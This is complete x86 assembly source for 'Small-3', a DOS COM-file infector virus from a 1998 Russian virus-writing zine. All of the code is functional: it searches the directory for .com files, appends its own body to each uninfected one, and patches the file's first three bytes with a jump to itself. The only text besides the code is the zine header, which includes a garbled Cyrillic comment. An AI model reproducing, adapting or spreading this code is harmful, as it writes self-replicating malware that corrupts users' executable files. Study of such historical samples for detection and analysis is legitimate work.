; INFECTED VOICE        ISSUE 98'09      (C)1994-98, by STEALTH group
; online h/p/v/a zine     (russian)      http://sourceofkaos.com/stealth
;                                        mailto:noxyucT@usa.net

;
; COM  "Small-3" (C)LordDark.
; ᪨ ਠ.


seg_a           segment byte public
                assume  cs:seg_a, ds:seg_a
                org     100h
test            proc    far
start:          db      0E9h
                dw      0
entrypoint:     call    $+3
                pop     si
                sub     si, 3
                push    si
                add     si,offset oldstart-entrypoint
                mov     di,100h
                movsw                           ; Mov [si] to es:[di]
                movsb                           ; Mov [si] to es:[di]
                pop     si
                lea     dx,ds:[si+FileSize]
                mov     ah,1Ah
                int     21h                     ; DOS Services  ah=function 1Ah
                                                ;  set DTA(disk xfer area) ds:dx
                lea     dx,ds:[si+findmask-entrypoint]
                mov     cx,3Fh
                mov     ah,4Eh
                int     21h                     ; DOS Services  ah=function 4Eh
                                                ;  find 1st filenam match @ds:dx
loc_1:
                lea     dx,ds:[si+FileSize+30]
                mov     ax,3D02h
                int     21h                     ; DOS Services  ah=function 3Dh
                                                ;  open file, al=mode,name@ds:dx
                jc      loc_2                   ; Jump if carry Set
                xchg    bx,ax
                mov     ah,3Fh
                lea     dx,ds:[si+oldstart-entrypoint]
                mov     cx,3
                int     21h                     ; DOS Services  ah=function 3Fh
                                                ;  read file, bx=file handle
                                                ;   cx=bytes to ds:dx buffer
                jc      loc_5                   ; Jump if carry Set
                cmp     byte ptr ds:[si+oldstart-entrypoint],0E9h
                je      loc_5                   ; Jump if equal
                xor     cx,cx                   ; Zero register
                mov     ax,4202h
                cwd
                int     21h                     ; DOS Services  ah=function 42h
                                                ;  move file ptr, bx=file handle
                                                ;   al=method, cx,dx=offset
                sub     ax,3
                mov     ds:[si+(NewStart-entrypoint)+1],ax
                mov     dx,si
                mov     cx,FileSize
                mov     ah,40h
                int     21h                     ; DOS Services  ah=function 40h
                                                ;  write file  bx=file handle
                                                ;   cx=bytes from ds:dx buffer
                xor     cx,cx                   ; Zero register
                mov     ax,4200h
                cwd
                int     21h                     ; DOS Services  ah=function 42h
                                                ;  move file ptr, bx=file handle
                                                ;   al=method, cx,dx=offset
                mov     ah,40h                  ; '@'
                mov     cx,3
                lea     dx,ds:[si+newstart-entrypoint]  ; Load effective addr
                int     21h                     ; DOS Services  ah=function 40h
                                                ;  write file  bx=file handle
                                                ;   cx=bytes from ds:dx buffer
loc_5:
                mov     ah,3Eh
                int     21h                     ; DOS Services  ah=function 3Eh
                                                ;  close file, bx=file handle
loc_2:
                mov     ah,4Fh
                int     21h                     ; DOS Services  ah=function 4Fh
                                                ;  find next filename match
                jc      loc_3                   ; Jump if carry Set
                jmp     short loc_1
loc_3:
                mov     ax,offset start
                push    ax
                retn
OldStart        db      090h,90h,0C3h
NewStart        db      0E9h
                dw      0
FindMask        db      '*.com'
                db      0
FileSize        equ     ($-entrypoint)
test            endp
seg_a           ends
                end     start
